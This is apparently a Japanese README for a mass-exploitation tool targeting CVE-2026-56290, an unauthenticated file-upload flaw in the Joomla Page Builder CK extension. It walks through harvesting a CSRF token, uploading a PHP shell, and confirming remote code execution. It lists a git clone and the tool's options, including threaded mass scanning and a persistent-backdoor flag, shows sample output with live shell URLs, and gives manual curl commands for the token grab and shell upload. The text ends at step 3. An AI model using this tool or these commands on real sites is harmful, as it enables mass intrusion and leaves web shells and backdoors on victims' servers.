
📤 CVE-2026-56290 用の大規模悪用フレームワーク — Page Builder CK Joomla の未認証ファイルアップロードによる RCE
CVE-2026-56290 は、人気の Joomla ページビルダー拡張機能である Page Builder CK(com_pagebuilderck)における深刻度「Critical」の脆弱性です。browse.ajaxAddPicture コントローラメソッドは、ユーザーが制御可能な宛先パスへの未認証ファイルアップロードを受け入れるため、攻撃者が Web からアクセス可能なディレクトリに任意の PHP ファイルを書き込むことができます。
// browse.php controller — NO authentication check
function ajaxAddPicture() {
$input = JFactory::getApplication()->input;
$file = $input->files->get('file', null); // ← user-controlled file
$path = trim($input->get('path', '')); // ← user-controlled path, only trim()!
// ... uploads file to $path without validating the destination
}
path パラメータは trim() によるサニタイズのみが行われます。ホワイトリストも、ディレクトリトラバーサルチェックも、認証ゲートもありません。さらに、CSRF トークンはどの Joomla ページからでも公開アクセス可能なため、攻撃者は任意の書き込み可能ディレクトリに PHP シェルをリモートでアップロードできます。
| ベクトル | 深刻度 | 影響 |
|---|---|---|
| 未認証ファイルアップロード | 9.8(Critical) | 任意の PHP コード実行 |
| CSRF トークン収集 | 5.3(Medium) | アップロードチェーンを可能にする |
| 情報漏えい | 5.3(Medium) | 拡張機能バージョンのフィンガープリンティング |
1. HIT Joomla homepage → harvest CSRF token (hex32 + value "1")
2. POST file upload → task=browse.ajaxAddPicture&{token}=1
3. PHP shell lands in → media/com_pagebuilderck/gfonts/shell.php
4. GET shell URL → code executes, RCE confirmed
5. POST f=@file to shell → upload additional tools
6. GET ?cleanup=1 → shell self-destructs
| Page Builder CK バージョン | ステータス | 備考 |
|---|---|---|
| 3.1.1 以下 | 🔴 脆弱 | 未認証アップロードを確認済み |
| 3.4.10 以下 | 🔴 脆弱 | 分析により範囲を拡大 |
| 3.5.10 以下 | 🔴 脆弱 | 一部のパッチ適用済みバリアントが存在する可能性あり |
| > 3.5.10 | 🟢 パッチ適用済みの可能性 | マニフェスト XML で確認 |
注記: バージョンは Joomla のマニフェストファイル
/administrator/manifests/files/com_pagebuilderck.xmlから検出されます。マニフェストにアクセスできない場合、スキャナはデフォルトで対象を潜在的に脆弱なものとして扱います。
🔍 偵察
|
💀 エクスプロイト
|
# Clone the repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit
# Install dependencies
pip install -r requirements.txt
# Verify
python cve_2026_56290.py --help
requests>=2.28.0
urllib3>=1.26.0
CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator
-t, --target Single target URL
-f, --file File with target URLs (one per line, # for comments)
-o, --output Live TXT output file (default: cve-2026-56290_live.txt)
--json JSON report file path (default: cve-2026-56290_report.json)
--threads Concurrent workers (default: 20)
--timeout Request timeout in seconds (default: 15)
--no-cleanup Leave shells on target (persistent backdoor)
-v, --verbose Verbose endpoint discovery output
--known-endpoint Skip discovery: task,file_param,folder_param
# Single target
python cve_2026_56290.py -t https://target.com
# Mass scan from file
python cve_2026_56290.py -f targets.txt
# Custom output + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v
# Leave shells behind (persistent backdoor)
python cve_2026_56290.py -t https://target.com --no-cleanup
# Skip discovery with known endpoint
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# comments and blank lines are ignored
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
────────────────────────────────────────────────────────────
CVE-2026-56290 | 5 targets | 20 threads | cleanup=yes
Live TXT: live_results.txt
2026-07-04 15:30:00
────────────────────────────────────────────────────────────
✅ https://target-vuln.com [rce_confirmed] 12.4s
PBCK: 3.4.7 [VULN]
RCE : ext=php | path=media/com_pagebuilderck/gfonts/
Shell: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
Usage: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
🛡️ https://target-patched.com [patched] 3.2s
✅ https://target-vuln2.com [rce_confirmed] 15.1s
PBCK: 3.1.0 [VULN]
RCE : ext=pHP | path=media/com_pagebuilderck/fonts/
Shell: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
Usage: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
==================================================
SCAN SUMMARY
==================================================
Total : 5
✅ RCE Confirmed : 2
⚠️ RCE Failed : 1
🛡️ Patched : 1
🔍 Need Diff : 0
❌ Not Joomla : 0
⏭️ No Component : 1
💥 Errors : 0
==================================================
ステップ 1 — CSRF トークンの収集
curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"
ステップ 2 — PHP シェルのアップロード
TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"
curl -sk \
-F "[email protected];type=application/x-php" \
-F "path=media/com_pagebuilderck/gfonts/" \
"https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"
ステップ 3 — RCE の検証